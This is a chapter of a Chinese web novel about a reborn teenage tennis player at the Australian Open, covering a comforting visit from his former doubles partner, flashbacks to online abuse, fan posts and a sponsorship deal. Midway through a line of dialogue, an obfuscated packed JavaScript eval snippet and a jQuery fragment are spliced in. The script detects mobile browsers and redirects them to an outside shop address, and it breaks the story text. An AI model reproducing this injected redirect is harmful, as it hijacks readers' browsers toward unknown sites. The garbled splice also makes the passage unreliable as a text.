周克言走到后场的时候,寿长斌已经在那等着了。
“梓宁去给你危机公关了,小单在等我们。”寿长斌笑道,“不过你赛后那番话,估计有领导要打电话给你。”
“我怎么了?”周克言瞪眼。
“不慎重。”寿长斌揉揉他的头,“别看我,我可是坚定支持你的…打得真好。”
“嗯~”周克言得意。
到他们刚刚回酒店时,郝书记的电话确实打过来了。
“克言比赛结束了?恭喜晋级。”
“郝阿姨您找我?”周克言乖乖回话。
“我听说了比赛的事,克言是好样的,给咱们争脸了。”郝书记循循而谈,“被欺负了用实力说话没问题。不过在赛后采访上,可能你经验还比较少。”
“昂。”周克言坐在地上,背抵着沙发,左手扣扣背后的沙发垫。
“网球是一项输赢不定的运动,咱们放狠话,不好说得太满,否则以后可能就给自己下不来台了。你说是不?”
“唔……”周克言开了免提,抱着膝低下头。
国人总是喜欢讲究一个面面俱到,妥帖、中庸。
“……这件事克言不用担心,没关系的。你只要好好打球就行,其他的还有我们这些大人顶着呢。”
郝书记讲得不多,也没斥责他,还给他兜底了。
挺好的。
周克言揉着头心烦,准备出去找地方唱歌。
“叮咚~”
“谁啊?”周克言刚换上休闲裤,蹦蹦跳跳地去猫眼瞅了下。
洛朗!
他系好裤带,又把行李箱收拾整齐,跑过去开门。
“洛朗?”
“日安,克言。”洛朗穿着简单的短袖,一身打扮色彩明亮。
周克言让开门,带洛朗进房间。
虽然他和洛朗说了房间号…没想到真的会过来。
“恭喜晋级第二轮。”洛朗看了眼地上的大包小包,“我正好看了你的后两盘。”
“嗷……”两人用法语交谈。
周克言拿出一瓶苹果汽水,给洛朗倒了一杯。
“你觉得我——”周克言有些纠结,他不知道洛朗在这周目会怎么看待他那副张狂的样子。
因为他过得很舒服,没受什么委屈,没有背负债务,没有被歧视,手臂上也没有那些东一块西一块的烟头伤疤。
“我来关心你一下。”洛朗的声音轻柔,“你在介意我对小插曲的看法么?”
周克言坐在洛朗旁边,嗯了一声。
“你没必要在意任何人的看法。”洛朗随即道,“每个人有自己的生存方式。”
商摊小贩斤斤计较,是为了赚钱不赔本;名流贵族维持体面,是为了不跌落阶级。
那时的周克言就像一只应激而炸毛发狂的猫。
说不定他前世过得很辛苦……吃过了亏,踩过了坑,然后明白必须要用针尖对麦芒的嚣张外表来保护自己。
“网球是赢家通吃。”洛朗晃了晃手里的苹果汁,“只要你赢了,怎么样都行。而输的时候,平时再小心地不得罪人也不会有人安慰你。那些苦涩比不上失败本身的万分之一。”
“所以……”洛朗看向周克言,却发现旁边的人早已泪流满面。
……
————上周目————
【周克言怒骂现场观众比中指,罚款1.2万美元】
【再出球场大戏!周克言因对手伤停怒怼裁判】
【周克言直播间大发牢骚!抱怨美网深夜排赛】
***:又是我们的drama大师,水平不高,戏倒是挺多[吃瓜]
***:真是丢人丢到国外去,咱老钟谦逊友善的形象都被他破坏了。
***:我都害臊,天天跟个野兽一样嚎。
***:要不三哥棒子来归化他一下?不是很想认他这老乡。
……
在又一轮吞蛋的惨败后,刚刚成年的孩子在午夜灰溜溜地回到他暂时的庇护所。
躲在被窝里偷偷翻社交平台的周克言眼睛已经模糊了。
本是漂泊的浮萍,被那面国旗维系着与土地的纽带,没曾想只是为了保护自己,被一条条评论开除国籍。
恨不得把他的人籍都开除了。
白乎乎一片忽然变黑,电话铃声响起。
“晚安,克言。”洛朗的声音让周克言眼泪涌得更凶了。
他咬了一嘴被子,堵住喉咙里的呜咽。
自从双打组合解散后,洛朗偶尔还和他通一次电话,这取决于他比赛输得惨不惨。
就像出于昔日的搭档情,亦或是某种人文关怀。
“[F]你现在是因为输球难过,还是那些报道呢?”
“……”周克言小心翼翼的低泣似乎还是被那头听见了。
“[F]我们不可能受所有人喜爱,就像不可能一直赢下去。”洛朗像在讲故事,缓缓地陈述着,像一双大手轻轻地抚过发旋、脊背。
“[F]他们什么也不懂。
“[F]当你觉得需要这么做,你发现自己有无法抗拒的冲动时,就去做吧。
“你只要取悦自己就够了。”
“嗯……”周克言从喉间发出近似于“嘤”的声音。他翻了个身,在另一侧泪如雨下。
“[F]你很辛苦,克言。”轻轻的叹息,在深夜格外寂寥。
……
——————————
抽了几张纸巾递给周克言的洛朗其实有些慌乱,他不知泪水意味着伤心还是释怀。
“你知道吗?亨利现在估计后悔得要死。”洛朗试图用打趣的方式来放松气氛,“他本来以为你会失去理智,没想到反而激起了你的斗志。”
“我知道他想干什么。”周克言闷闷的。他其实为此吃过不少的亏。
“你很厉害,克言。很多人会对你另眼相看。”洛朗带着欣赏的笑意,“愤怒是‘原罪’,绝大部分人会因此丢掉比赛。但对于你,愤怒是心中的热焰,点燃了全身。”
“嗯。”周克言捏着湿润的纸巾,忍不住弯了弯嘴角。
“也许你心情好一点了?”洛朗的目光瞥过周克言长而有力的指节,又瞬间扫向他的脸庞。
“我只是情绪一下子上来了。”周克言红着眼眶,语气平静很多,“他也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271727|198130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么说。”
“他?”洛朗一愣,反应过来。
“你…们,都喜欢在别人难受的时候‘敲门’。”
轻轻敲击着心门,抚慰那些心上的伤痛。
“我很少做这种没有边界感的事情。”洛朗觉得,另一个他也是类似的想法吧。
就像看到一个人在倾盆暴雨里浑身湿透,却一动不动的…总是想去给他撑一会儿伞。
这天晚上,亨利在itn道歉,坦诚了自己想激怒周克言的“小聪明”。
他并不知道这个称呼不只激怒了对手,还扯疼了一个国家的伤疤。间接导致第二天的甄侠疯狂鸡血,给他的对手——日本NO.2玉竹送了个“双黄蛋”。
————蓝宝盒————
[图]*12
言言太棒了!职业第二年就打进澳网第二轮。16周岁都还没到呢[打call]
***:[大拇指]我当时在看直播,对面那个亨利主场优势特别大,还公然rh[火大]还好克言争气,爽得我吃了两碗饭。
***:当时克言的怒气感觉都要从屏幕里散发出来了。我还很担心呢。没成想是超神了!
***:克言好像话本里描述的那种,“云大怒”,然后咔嚓斩于马下。
***:哈哈哈,子龙将军一怒,天下无敌。言言真是我们中网的一大蘸酱,我爱死他了。(注)
***:楼上再让我看到二十年前的烂梗,我就扎聋自己的耳朵![吐舌头]
***:我也不求克言能走多远,他才15岁,还没发育完全呢。但有一条,克言非依我不可——别受伤啊啊啊!
***:完了出不去,这里已经一股扭三味了(注)。
……
(持续玩梗中)
——————————
回到炎热的墨尔本。
尽管第三天周克言不敌NO.14在第二轮退败,这已经是中国男子球员唯二的成绩了。
他得到预选赛出线的30积分以及正赛50积分,总奖金已高达42.6万美元,折合人民币整整326万元,是他去年打了一年比赛的奖金的两倍。
这就是大满贯的含金量。
球拍赞助商HED为此追加了与周克言的合作协议,开出3年,每年20万欧元的代言费,并增加额外条款:
*每次进入大满贯四强,给予奖金40万欧元;进入决赛给予100万欧元,赢得冠军给予300万欧元。
*如年终世界排名进入NO.30以内,下一年起代言费上涨为50万欧元……
看似奖励丰厚,实则相当于对球员身价暴涨却手握“穷酸”代言费的补偿。
如果一名中国男子球员真的突破历史,拿到大师赛甚至大满贯的冠军,那么到时候跟他的商务合作最最起码也得开价百万美元。
对于HED而言,那还意味着中国球拍市场份额的暴增——蛋糕不仅会做大,他分到的还更大比例。
而代价是区区300万欧元,估计人家做梦都得笑醒。
虽然几十年来中国还没有一位能摸到大师赛决赛门槛的。
[摊手]